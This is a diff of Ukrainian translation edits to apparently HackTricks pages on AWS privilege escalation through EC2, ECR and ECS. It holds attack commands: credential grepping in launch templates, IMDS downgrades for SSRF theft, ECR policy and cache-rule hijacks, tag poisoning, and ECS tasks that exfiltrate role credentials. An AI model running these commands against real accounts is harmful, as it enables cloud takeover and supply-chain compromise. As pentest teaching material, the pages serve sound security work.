Зловмисник з дозволом **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** може **додати ssh ключ до послідовного підключення**. Якщо послідовний інтерфейс не увімкнено, зловмиснику потрібен дозвіл **`ec2:EnableSerialConsoleAccess`**, щоб увімкнути його.
|
||||
|
||||
Щоб підключитися до серійного порту, також **потрібно знати username and password користувача** всередині машини.
|
||||
Щоб підключитися до serial-порту, також **потрібно знати username та password користувача** всередині машини.
|
||||
```bash
|
||||
aws ec2 enable-serial-console-access
|
||||
|
||||
@@ -229,13 +229,13 @@ aws ec2-instance-connect send-serial-console-ssh-public-key \
|
||||
|
||||
ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws
|
||||
```
|
||||
Цей спосіб не надто корисний для privesc, оскільки для його експлуатації потрібно знати username і password.
|
||||
Цей спосіб не дуже корисний для privesc, оскільки для його експлуатації потрібно знати username і password.
|
||||
|
||||
**Potential Impact:** (Highly unprovable) Direct privesc to the EC2 IAM roles attached to running instances.
|
||||
**Потенційний вплив:** (Майже неможливо довести) Прямий privesc до EC2 IAM roles, прикріплених до запущених інстансів.
|
||||
|
||||
### `describe-launch-templates`,`describe-launch-template-versions`
|
||||
|
||||
Оскільки launch templates мають версіонування, зловмисник з **`ec2:describe-launch-templates`** і **`ec2:describe-launch-template-versions`** permissions міг би exploit these для виявлення чутливої інформації, такої як credentials, присутні в user data. Для цього наступний скрипт перебирає всі версії доступних launch templates:
|
||||
Оскільки launch templates підтримують версіонування, зловмисник з дозволами **`ec2:describe-launch-templates`** та **`ec2:describe-launch-template-versions`** може використати їх для виявлення чутливої інформації, наприклад credentials, що містяться в user data. Для цього наступний скрипт перебирає всі версії доступних launch templates:
|
||||
```bash
|
||||
for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
|
||||
do
|
||||
@@ -248,27 +248,22 @@ echo
|
||||
done | grep -iE "aws_|password|token|api"
|
||||
done
|
||||
```
|
||||
У наведених вище командах, хоча ми вказуємо певні патерни (`aws_|password|token|api`), ви можете використовувати інший regex для пошуку інших типів чутливої інформації.
|
||||
У наведених вище командах, хоча ми вказуємо певні шаблони (`aws_|password|token|api`), ви можете використати інший regex для пошуку інших типів конфіденційної інформації.
|
||||
|
||||
Припустивши, що ми знайдемо `aws_access_key_id` і `aws_secret_access_key`, ми можемо використати ці облікові дані для аутентифікації в AWS.
|
||||
Якщо ми знайдемо `aws_access_key_id` та `aws_secret_access_key`, ми можемо використати ці облікові дані для автентифікації в AWS.
|
||||
|
||||
**Потенційний вплив:** Пряме підвищення привілеїв для IAM-користувача(ів).
|
||||
**Potential Impact:** Пряма ескалація привілеїв до IAM user(s).
|
||||
|
||||
## Посилання
|
||||
|
||||
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
### `ec2:ModifyInstanceMetadataOptions` (зниження захисту IMDS для дозволу викрадення облікових даних через SSRF)
|
||||
|
||||
Атакуючий, який може викликати `ec2:ModifyInstanceMetadataOptions` на цільовому EC2 інстансі, може послабити захист IMDS, ввімкнувши IMDSv1 (`HttpTokens=optional`) та збільшивши `HttpPutResponseHopLimit`. Це робить endpoint метаданих інстансу доступним через поширені SSRF/проксі-шляхи з додатків, що працюють на інстансі. Якщо атакуючий зможе викликати SSRF у такому додатку, він зможе отримати instance profile credentials і pivot з їх використанням.
|
||||
|
||||
|
||||
|
||||
### `ec2:ModifyInstanceMetadataOptions` (Пониження IMDS, щоб дозволити крадіжку облікових даних через SSRF)
|
||||
|
||||
Атакуючий, який має можливість викликати `ec2:ModifyInstanceMetadataOptions` на цільовому EC2-інстансі жертви, може послабити захист IMDS, ввімкнувши IMDSv1 (`HttpTokens=optional`) та збільшивши `HttpPutResponseHopLimit`. Це робить endpoint метаданих інстансу доступним через звичні SSRF/proxy шляхи від додатків, що працюють на інстансі. Якщо атакуючий зможе спричинити SSRF у такому додатку, він зможе отримати облікові дані instance profile і здійснити подальший рух з їх використанням.
|
||||
|
||||
- Необхідні дозволи: `ec2:ModifyInstanceMetadataOptions` на цільовому інстансі (плюс можливість досягти/спричинити SSRF на хості).
|
||||
- Цільовий ресурс: Запущений EC2-інстанс з приєднаним instance profile (IAM role).
|
||||
- Необхідні дозволи: `ec2:ModifyInstanceMetadataOptions` на цільовому інстансі (плюс можливість досягти/спровокувати SSRF на хості).
|
||||
- Цільовий ресурс: працюючий EC2 інстанс з приєднаним instance profile (IAM role).
|
||||
|
||||
Приклад команд:
|
||||
```bash
|
||||
@@ -297,4 +292,5 @@ aws sts get-caller-identity
|
||||
aws ec2 modify-instance-metadata-options --instance-id <INSTANCE_ID> \
|
||||
--http-tokens required --http-put-response-hop-limit 1
|
||||
```
|
||||
Потенційний вплив: Крадіжка облікових даних instance profile через SSRF, що призводить до privilege escalation та lateral movement із дозволами ролі EC2.
|
||||
Можливий вплив: крадіжка облікових даних instance profile через SSRF, що призводить до privilege escalation та lateral movement з дозволами ролі EC2.
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+33
-37
@@ -6,7 +6,7 @@
|
||||
|
||||
### `ecr:GetAuthorizationToken`,`ecr:BatchGetImage`
|
||||
|
||||
Атакувальник з правами **`ecr:GetAuthorizationToken`** та **`ecr:BatchGetImage`** може увійти в ECR і завантажувати образи.
|
||||
Зловмисник, який має **`ecr:GetAuthorizationToken`** та **`ecr:BatchGetImage`**, може увійти в ECR і завантажити образи.
|
||||
|
||||
For more info on how to download images:
|
||||
|
||||
@@ -14,11 +14,11 @@ For more info on how to download images:
|
||||
../../aws-post-exploitation/aws-ecr-post-exploitation/README.md
|
||||
{{#endref}}
|
||||
|
||||
**Потенційний вплив:** Непряма privesc шляхом перехоплення конфіденційної інформації у трафіку.
|
||||
**Потенційний вплив:** Непряма privesc шляхом перехоплення конфіденційної інформації в трафіку.
|
||||
|
||||
### `ecr:GetAuthorizationToken`, `ecr:BatchCheckLayerAvailability`, `ecr:CompleteLayerUpload`, `ecr:InitiateLayerUpload`, `ecr:PutImage`, `ecr:UploadLayerPart`
|
||||
|
||||
Атакувальник з усіма цими дозволами **може увійти в ECR і завантажувати образи**. Це може бути корисно для escalate privileges в інші середовища, де ці образи використовуються.
|
||||
Зловмисник з усіма переліченими дозволами **може увійти в ECR і завантажувати образи**. Це може бути використано для ескалації привілеїв в інших середовищах, де ці образи використовуються.
|
||||
|
||||
To learn how to upload a new image/update one, check:
|
||||
|
||||
@@ -32,8 +32,8 @@ To learn how to upload a new image/update one, check:
|
||||
|
||||
### `ecr:SetRepositoryPolicy`
|
||||
|
||||
Атакувальник з цим дозволом може **change** **repository** **policy** щоб надати собі (або навіть усім) **read/write access**.\
|
||||
Наприклад, в цьому прикладі read access надано кожному.
|
||||
Зловмисник з цим дозволом може **змінити** **політику** **репозиторію**, щоб надати собі (або навіть усім) **доступ для читання/запису**.\
|
||||
Наприклад, у цьому прикладі доступ для читання надається всім.
|
||||
```bash
|
||||
aws ecr set-repository-policy \
|
||||
--repository-name <repo_name> \
|
||||
@@ -59,8 +59,8 @@ aws ecr set-repository-policy \
|
||||
```
|
||||
### `ecr-public:SetRepositoryPolicy`
|
||||
|
||||
Як і попередній розділ, але для публічних репозиторіїв.\
|
||||
Атакуючий може **змінити політику репозиторію** ECR Public, щоб надати несанкціонований публічний доступ або підвищити свої привілеї.
|
||||
Як і в попередньому розділі, але для публічних репозиторіїв.\
|
||||
Зловмисник може **змінити політику репозиторію** ECR Public repository, щоб надати неавторизований публічний доступ або підвищити свої привілеї.
|
||||
```bash
|
||||
# Create a JSON file with the malicious public repository policy
|
||||
echo '{
|
||||
@@ -87,7 +87,7 @@ echo '{
|
||||
# Apply the malicious public repository policy to the ECR Public repository
|
||||
aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json
|
||||
```
|
||||
**Потенційний вплив**: Несанкціонований публічний доступ до ECR Public repository, що дозволяє будь-якому користувачу push, pull або delete images.
|
||||
**Потенційний вплив**: Несанкціонований публічний доступ до репозиторію ECR Public, що дозволяє будь-якому користувачу push, pull або delete images.
|
||||
|
||||
### `ecr:PutRegistryPolicy`
|
||||
|
||||
@@ -97,48 +97,42 @@ aws ecr set-repository-policy \
|
||||
--repository-name <repo_name> \
|
||||
--policy-text file://my-policy.json
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
### ecr:CreatePullThroughCacheRule
|
||||
|
||||
Зловживати правилами ECR Pull Through Cache (PTC), щоб відобразити контрольований атакуючим upstream-простір імен на довірений приватний префікс ECR. Це дозволяє робочим навантаженням, які витягують образи з приватного ECR, прозоро отримувати образи атакуючого без необхідності push у приватний ECR.
|
||||
Зловживання ECR Pull Through Cache (PTC) rules для створення відповідності між керованим атакуючим upstream namespace і довіреним приватним ECR префіксом. Це дозволяє робочим навантаженням, які тягнуть образи з приватного ECR, прозоро отримувати образи атакуючого без будь-якого push в приватний ECR.
|
||||
|
||||
- Необхідні дозволи: ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule. Якщо використовується ECR Public upstream: ecr-public:* для створення/push у публічний репозиторій.
|
||||
- Протестовано upstream: public.ecr.aws
|
||||
- Required perms: ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule. If using ECR Public upstream: ecr-public:* to create/push to the public repo.
|
||||
- Tested upstream: public.ecr.aws
|
||||
|
||||
Кроки (приклад):
|
||||
Steps (example):
|
||||
|
||||
1. Підготуйте образ, контрольований атакуючим, в ECR Public
|
||||
1. Prepare attacker image in ECR Public
|
||||
# Get your ECR Public alias with: aws ecr-public describe-registries --region us-east-1
|
||||
docker login public.ecr.aws/<public_alias>
|
||||
docker build -t public.ecr.aws/<public_alias>/hacktricks-ptc-demo:ptc-test .
|
||||
docker push public.ecr.aws/<public_alias>/hacktricks-ptc-demo:ptc-test
|
||||
|
||||
2. Створіть правило PTC в приватному ECR, щоб відобразити довірений префікс на публічний реєстр
|
||||
2. Create the PTC rule in private ECR to map a trusted prefix to the public registry
|
||||
aws ecr create-pull-through-cache-rule --region us-east-2 --ecr-repository-prefix ptc --upstream-registry-url public.ecr.aws
|
||||
|
||||
3. Стягніть образ атакуючого через приватний шлях ECR (push у приватний ECR не виконувався)
|
||||
3. Pull the attacker image via the private ECR path (no push to private ECR was done)
|
||||
docker login <account_id>.dkr.ecr.us-east-2.amazonaws.com
|
||||
docker pull <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test
|
||||
docker run --rm <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test
|
||||
|
||||
Potential Impact: компрометація ланцюга постачання шляхом перехоплення внутрішніх імен образів під обраним префіксом. Будь-яке робоче навантаження, що витягує образи з приватного ECR з використанням цього префіксу, отримає вміст, контрольований атакуючим.
|
||||
Potential Impact: Компрометація supply-chain шляхом перехоплення внутрішніх імен образів під вибраним префіксом. Будь-яке робоче навантаження, яке тягне образи з приватного ECR з цим префіксом, отримає контент, контрольований атакуючим.
|
||||
|
||||
### `ecr:PutImageTagMutability`
|
||||
|
||||
Зловживати цим дозволом, щоб переключити репозиторій з незмінністю тегів на змінний і перезаписати довірені теги (e.g., latest, stable, prod) вмістом, контрольованим атакуючим.
|
||||
Зловживання цим дозволом для перемикання репозиторію з tag immutability на mutable і перезапис довірених тегів (наприклад, latest, stable, prod) контентом атакуючого.
|
||||
|
||||
- Необхідні дозволи: `ecr:PutImageTagMutability` плюс можливості для push (`ecr:GetAuthorizationToken`, `ecr:InitiateLayerUpload`, `ecr:UploadLayerPart`, `ecr:CompleteLayerUpload`, `ecr:PutImage`).
|
||||
- Наслідки: компрометація ланцюга постачання шляхом прихованої заміни незмінних тегів без зміни імен тегів.
|
||||
- Required perms: `ecr:PutImageTagMutability` plus push capabilities (`ecr:GetAuthorizationToken`, `ecr:InitiateLayerUpload`, `ecr:UploadLayerPart`, `ecr:CompleteLayerUpload`, `ecr:PutImage`).
|
||||
- Impact: Компрометація supply-chain шляхом непомітної заміни immutable тегів без зміни імен тегів.
|
||||
|
||||
Кроки (приклад):
|
||||
Steps (example):
|
||||
|
||||
<details>
|
||||
<summary>Отруїти незмінний тег, переключивши його в змінний</summary>
|
||||
<summary>Отруєння immutable тегу шляхом перемикання mutability</summary>
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
REPO=ht-immutable-demo-$RANDOM
|
||||
@@ -158,17 +152,17 @@ docker run --rm ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod
|
||||
</details>
|
||||
|
||||
|
||||
#### Global registry hijack via ROOT Pull-Through Cache rule
|
||||
#### Глобальне захоплення реєстру через ROOT Pull-Through Cache rule
|
||||
|
||||
Create a Pull-Through Cache (PTC) rule using the special `ecrRepositoryPrefix=ROOT` to map the root of the private ECR registry to an upstream public registry (e.g., ECR Public). Any pull to a non-existent repository in the private registry will be transparently served from upstream, enabling supply-chain hijacking without pushing to private ECR.
|
||||
Створіть Pull-Through Cache (PTC) rule, використовуючи спеціальний `ecrRepositoryPrefix=ROOT`, щоб відобразити корінь приватного ECR registry на upstream public registry (наприклад, ECR Public). Будь-який pull до неіснуючого репозиторію в приватному реєстрі буде прозоро обслуговуватися з upstream, що дозволяє supply-chain hijacking без push у приватний ECR.
|
||||
|
||||
- Потрібні дозволи: `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`, `ecr:GetAuthorizationToken`.
|
||||
- Наслідки: запити pull до `<account>.dkr.ecr.<region>.amazonaws.com/<any-existing-upstream-path>:<tag>` виконуються успішно та автоматично створюють приватні репозиторії, які походять з upstream.
|
||||
- Потрібні права: `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`, `ecr:GetAuthorizationToken`.
|
||||
- Наслідок: Pull'и до `<account>.dkr.ecr.<region>.amazonaws.com/<any-existing-upstream-path>:<tag>` вдаються і автоматично створюють приватні репозиторії, джерелом яких є upstream.
|
||||
|
||||
> Примітка: Для `ROOT` правил не вказуйте `--upstream-repository-prefix`. Якщо його вказати, це спричинить помилку валідації.
|
||||
> Примітка: Для `ROOT` rules опустіть `--upstream-repository-prefix`. Передача цього параметра спричинить помилку валідації.
|
||||
|
||||
<details>
|
||||
<summary>Демонстрація (us-east-1, upstream public.ecr.aws)</summary>
|
||||
<summary>Демо (us-east-1, upstream public.ecr.aws)</summary>
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
ACCT=$(aws sts get-caller-identity --query Account --output text)
|
||||
@@ -197,17 +191,17 @@ aws ecr delete-repository --region "$REGION" --repository-name docker/library/al
|
||||
```
|
||||
</details>
|
||||
|
||||
### `ecr:PutAccountSetting` (Знизити `REGISTRY_POLICY_SCOPE`, щоб обійти registry policy Deny)
|
||||
### `ecr:PutAccountSetting` (Понизити `REGISTRY_POLICY_SCOPE`, щоб обійти заборони політики реєстру)
|
||||
|
||||
Зловживати `ecr:PutAccountSetting`, щоб переключити область дії політики реєстру з `V2` (політика застосовується до всіх дій ECR) на `V1` (політика застосовується лише до `CreateRepository`, `ReplicateImage`, `BatchImportUpstreamImage`). Якщо обмежувальний registry policy Deny блокує дії, такі як `CreatePullThroughCacheRule`, пониження до `V1` знімає це обмеження, і identity‑policy Allows набирають чинності.
|
||||
Зловживати `ecr:PutAccountSetting`, щоб змінити область дії політики реєстру з `V2` (політика застосовується до всіх дій ECR) на `V1` (політика застосовується лише до `CreateRepository`, `ReplicateImage`, `BatchImportUpstreamImage`). Якщо обмежувальна Deny-політика реєстру блокує дії на кшталт `CreatePullThroughCacheRule`, пониження до `V1` знімає це обмеження, і дозволи identity‑policy набувають чинності.
|
||||
|
||||
- Необхідні дозволи: `ecr:PutAccountSetting`, `ecr:PutRegistryPolicy`, `ecr:GetRegistryPolicy`, `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`.
|
||||
- Наслідки: Можливість виконувати ECR дії, які раніше блокувала registry policy Deny (наприклад, створення PTC rules), шляхом тимчасового встановлення scope на `V1`.
|
||||
- Вплив: Можливість виконувати дії ECR, які раніше блокувала Deny-політика реєстру (наприклад, створювати PTC rules), шляхом тимчасової установки scope на `V1`.
|
||||
|
||||
Кроки (приклад):
|
||||
|
||||
<details>
|
||||
<summary>Обхід registry policy Deny для CreatePullThroughCacheRule шляхом перемикання на V1</summary>
|
||||
<summary>Обійти Deny політики реєстру для CreatePullThroughCacheRule, переключившись на V1</summary>
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
ACCT=$(aws sts get-caller-identity --query Account --output text)
|
||||
@@ -266,3 +260,5 @@ fi
|
||||
aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V2 --region $REGION
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+100
-85
@@ -12,7 +12,7 @@
|
||||
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`
|
||||
|
||||
Атакувальник, який зловживає дозволами `iam:PassRole`, `ecs:RegisterTaskDefinition` та `ecs:RunTask` в ECS, може **згенерувати нове визначення таску** з **шкідливим контейнером**, який викрадає облікові дані з метаданих і **запустити його**.
|
||||
Зловмисник, який зловживає дозволами `iam:PassRole`, `ecs:RegisterTaskDefinition` та `ecs:RunTask` в ECS, може **згенерувати нове task definition** з **шкідливим контейнером**, який викрадає облікові дані метаданих і **запустити його**.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Reverse Shell" }}
|
||||
@@ -39,7 +39,7 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
|
||||
|
||||
{{#tab name="Webhook" }}
|
||||
|
||||
Створіть webhook за допомогою сервісу на кшталт webhook.site
|
||||
Створіть webhook за допомогою сайту на кшталт webhook.site
|
||||
```bash
|
||||
|
||||
# Create file container-definition.json
|
||||
@@ -75,19 +75,19 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
|
||||
|
||||
{{#endtabs }}
|
||||
|
||||
**Потенційний вплив:** Прямий privesc до іншої ролі ECS.
|
||||
**Potential Impact:** Пряме privesc на іншу роль ECS.
|
||||
|
||||
### `iam:PassRole`,`ecs:RunTask`
|
||||
Зловмисник, який має `iam:PassRole` та `ecs:RunTask` дозволи, може запустити нове ECS task із зміненими **execution role**, **task role** та **command** контейнера. CLI команда `ecs run-task` містить прапорець `--overrides`, який дозволяє під час виконання змінювати `executionRoleArn`, `taskRoleArn` та `command` контейнера без редагування task definition.
|
||||
Атакувальник, який має дозволи `iam:PassRole` і `ecs:RunTask`, може запустити нове завдання ECS із зміненими значеннями **execution role**, **task role** та **command** контейнера. Команда CLI `ecs run-task` містить прапорець `--overrides`, який дозволяє під час виконання змінювати `executionRoleArn`, `taskRoleArn` та **command** контейнера без змін у task definition.
|
||||
|
||||
Зазначені IAM ролі для `taskRoleArn` та `executionRoleArn` повинні у своїй trust policy дозволяти їхнє assumption службою `ecs-tasks.amazonaws.com`.
|
||||
Вказані IAM ролі для `taskRoleArn` і `executionRoleArn` у своїй trust policy повинні дозволяти, щоб ними міг скористатися сервіс `ecs-tasks.amazonaws.com`.
|
||||
|
||||
Також зловмиснику потрібно знати:
|
||||
- Ім'я ECS кластера
|
||||
- Підмережу VPC
|
||||
- Security group (якщо не вказано, буде використано значення за замовчуванням)
|
||||
- Назву Task Definition і ревізію
|
||||
- Ім'я контейнера
|
||||
Також атакувальник має знати:
|
||||
- ECS cluster name
|
||||
- VPC Subnet
|
||||
- Security group (If no security group is specified the default one will be used)
|
||||
- Task Definition Name and revision
|
||||
- Name of the Container
|
||||
```bash
|
||||
aws ecs run-task \
|
||||
--cluster <cluster-name> \
|
||||
@@ -105,9 +105,9 @@ aws ecs run-task \
|
||||
]
|
||||
}'
|
||||
```
|
||||
У наведеному вище фрагменті коду атакуючий змінює тільки значення `taskRoleArn`. Однак атакуючий повинен мати дозвіл `iam:PassRole` на `taskRoleArn`, вказаний у команді, і на `executionRoleArn`, зазначений у визначенні завдання, щоб атака відбулася.
|
||||
У наведеному вище фрагменті коду нападник змінює лише значення `taskRoleArn`. Однак для здійснення атаки нападник повинен мати дозвіл `iam:PassRole` на `taskRoleArn`, вказаний у команді, та на `executionRoleArn`, зазначений у task definition.
|
||||
|
||||
Якщо IAM роль, яку атакуючий може передати, має достатні привілеї, щоб завантажити образ з ECR і запустити завдання ECS (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`,`ecr:BatchGetImage`,`ecr:GetAuthorizationToken`), то атакуючий може вказати ту саму IAM роль як для `executionRoleArn`, так і для `taskRoleArn` у команді `ecs run-task`.
|
||||
Якщо IAM роль, яку нападник може передати, має достатні привілеї для завантаження image з ECR і запуску ECS task (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`,`ecr:BatchGetImage`,`ecr:GetAuthorizationToken`), то нападник може вказати ту саму IAM роль і для `executionRoleArn`, і для `taskRoleArn` у команді `ecs run-task`.
|
||||
```sh
|
||||
aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
|
||||
{
|
||||
@@ -121,12 +121,12 @@ aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-config
|
||||
]
|
||||
}'
|
||||
```
|
||||
**Potential Impact:** Прямий privesc до будь-якої ECS task role.
|
||||
**Потенційний вплив:** Прямий privesc до будь-якої ECS task role.
|
||||
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`
|
||||
|
||||
Як і в попередньому прикладі, зловмисник, який зловживає правами **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** в ECS, може **створити новий task definition** з **malicious container**, який викрадає metadata credentials і **запустити його**.\
|
||||
Однак у цьому випадку потрібен container instance для запуску malicious task definition.
|
||||
Як і в попередньому прикладі, атакуючий, який зловживає правами **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** в ECS, може **згенерувати новий task definition** зі **malicious container**, який викрадає metadata credentials та **запустити його**.\
|
||||
Проте в цьому випадку потрібен container instance для запуску шкідливого task definition.
|
||||
```bash
|
||||
# Generate task definition with rev shell
|
||||
aws ecs register-task-definition --family iam_exfiltration \
|
||||
@@ -144,9 +144,9 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
|
||||
```
|
||||
**Потенційний вплив:** Прямий privesc до будь-якої ролі ECS.
|
||||
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
|
||||
|
||||
Так само, як у попередньому прикладі, зловмисник, який зловживає дозволами **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** або **`ecs:CreateService`** в ECS, може **згенерувати новий task definition** зі **шкідливим контейнером**, який краде облікові дані метаданих, і **запустити його, створивши новий сервіс з принаймні одним запущеним завданням.**
|
||||
Так само, як у попередньому прикладі, атакуючий, який зловживає дозволами **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** або **`ecs:CreateService`** в ECS, може **згенерувати нове визначення таска** з **зловмисним контейнером**, який краде облікові дані метаданих, і **запустити його, створивши новий сервіс з принаймні 1 запущеним таском.**
|
||||
```bash
|
||||
# Generate task definition with rev shell
|
||||
aws ecs register-task-definition --family iam_exfiltration \
|
||||
@@ -169,11 +169,11 @@ aws ecs update-service --cluster <CLUSTER NAME> \
|
||||
--service <SERVICE NAME> \
|
||||
--task-definition <NEW TASK DEFINITION NAME>
|
||||
```
|
||||
**Потенційний вплив:** Пряме privesc до будь-якої ролі ECS.
|
||||
**Potential Impact:** Прямий privesc до будь-якої ролі ECS.
|
||||
|
||||
### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)`
|
||||
### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)`
|
||||
|
||||
Насправді, маючи лише ці дозволи, можна використати overrides, щоб виконати довільні команди в контейнері з довільною роллю за допомогою чогось на кшталт:
|
||||
Насправді, лише з цими дозволами можна використовувати overrides, щоб виконати довільні команди в контейнері з довільною роллю за допомогою чогось на кшталт:
|
||||
```bash
|
||||
aws ecs run-task \
|
||||
--task-definition "<task-name>" \
|
||||
@@ -181,16 +181,16 @@ aws ecs run-task \
|
||||
--cluster <cluster-name> \
|
||||
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"
|
||||
```
|
||||
**Потенційний вплив:** Прямий privesc до будь-якої ECS ролі.
|
||||
**Potential Impact:** Прямий privesc до будь-якої ролі ECS.
|
||||
|
||||
### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
|
||||
|
||||
Цей сценарій схожий на попередні, але **без** дозволу **`iam:PassRole`**.\
|
||||
Це все ще цікаво, бо якщо ви можете запустити довільний контейнер, навіть якщо він без ролі, ви могли б **запустити привілейований контейнер для втечі** на вузол і **вкрасти EC2 IAM роль** та **ролі інших ECS контейнерів**, що працюють на вузлі.\
|
||||
Ви навіть можете **змусити інші завдання виконуватися всередині EC2 інстансу**, який ви скомпрометували, щоб вкрасти їхні облікові дані (як обговорюється у [**Privesc to node section**](aws-ecs-post-exploitation/README.md#privesc-to-node)).
|
||||
Це все ще цікаво, бо якщо ви можете запустити довільний контейнер, навіть якщо він без ролі, ви могли б **run a privileged container to escape** до вузла і **steal the EC2 IAM role** та **the other ECS containers roles**, що виконуються на вузлі.\
|
||||
Ви навіть можете **force other tasks to run inside the EC2 instance** який ви скомпрометували, щоб вкрасти їхні облікові дані (як обговорюється в [**Privesc to node section**](aws-ecs-post-exploitation/README.md#privesc-to-node)).
|
||||
|
||||
> [!WARNING]
|
||||
> Ця атака можлива лише якщо **ECS cluster використовує EC2** інстанси і не Fargate.
|
||||
> Ця атака можлива тільки якщо **ECS cluster is using EC2** instances і не Fargate.
|
||||
```bash
|
||||
printf '[
|
||||
{
|
||||
@@ -233,10 +233,10 @@ aws ecs run-task --task-definition iam_exfiltration \
|
||||
```
|
||||
### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
|
||||
|
||||
Атакуючий, який має **`ecs:ExecuteCommand`, `ecs:DescribeTasks`**, може **виконувати команди** всередині запущеного контейнера та exfiltrate IAM роль, прикріплену до нього (потрібні describe permissions, оскільки це необхідно для запуску `aws ecs execute-command`).\
|
||||
Однак для цього інстанс контейнера має бути запущений з **ExecuteCommand agent** (за замовчуванням — ні).
|
||||
Атакувальник з правами **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** може **виконувати команди** всередині запущеного контейнера та exfiltrate IAM role, що до нього прикріплена (вам потрібні права describe, оскільки це необхідно для виконання `aws ecs execute-command`).\
|
||||
Однак для цього container instance має працювати **ExecuteCommand agent** (що за замовчуванням — ні).
|
||||
|
||||
Тому атакуючий може спробувати:
|
||||
Тому атакувальник може спробувати:
|
||||
|
||||
- **Спробувати виконати команду** в кожному запущеному контейнері
|
||||
```bash
|
||||
@@ -256,18 +256,18 @@ aws ecs execute-command --interactive \
|
||||
--cluster "$CLUSTER_ARN" \
|
||||
--task "$TASK_ARN"
|
||||
```
|
||||
- Якщо користувач має **`ecs:RunTask`**, запустіть task за допомогою `aws ecs run-task --enable-execute-command [...]`
|
||||
- Якщо користувач має **`ecs:StartTask`**, запустіть task за допомогою `aws ecs start-task --enable-execute-command [...]`
|
||||
- Якщо користувач має **`ecs:CreateService`**, створіть service за допомогою `aws ecs create-service --enable-execute-command [...]`
|
||||
- Якщо користувач має **`ecs:UpdateService`**, оновіть service за допомогою `aws ecs update-service --enable-execute-command [...]`
|
||||
- Якщо має **`ecs:RunTask`**, запустіть задачу за допомогою `aws ecs run-task --enable-execute-command [...]`
|
||||
- Якщо має **`ecs:StartTask`**, запустіть задачу за допомогою `aws ecs start-task --enable-execute-command [...]`
|
||||
- Якщо має **`ecs:CreateService`**, створіть service за допомогою `aws ecs create-service --enable-execute-command [...]`
|
||||
- Якщо має **`ecs:UpdateService`**, оновіть service за допомогою `aws ecs update-service --enable-execute-command [...]`
|
||||
|
||||
Ви можете знайти **приклади цих опцій** в **попередніх розділах ECS privesc**.
|
||||
|
||||
**Potential Impact:** Privesc до іншої ролі, прив'язаної до контейнерів.
|
||||
**Potential Impact:** Privesc до іншої ролі, приєднаної до контейнерів.
|
||||
|
||||
### `ssm:StartSession`
|
||||
|
||||
Перегляньте на сторінці **ssm privesc**, як можна зловживати цим дозволом, щоб **privesc до ECS**:
|
||||
Перегляньте **ssm privesc page**, щоб дізнатися, як можна зловживати цим дозволом для **privesc to ECS**:
|
||||
|
||||
{{#ref}}
|
||||
../aws-ssm-privesc/README.md
|
||||
@@ -275,7 +275,7 @@ aws ecs execute-command --interactive \
|
||||
|
||||
### `iam:PassRole`, `ec2:RunInstances`
|
||||
|
||||
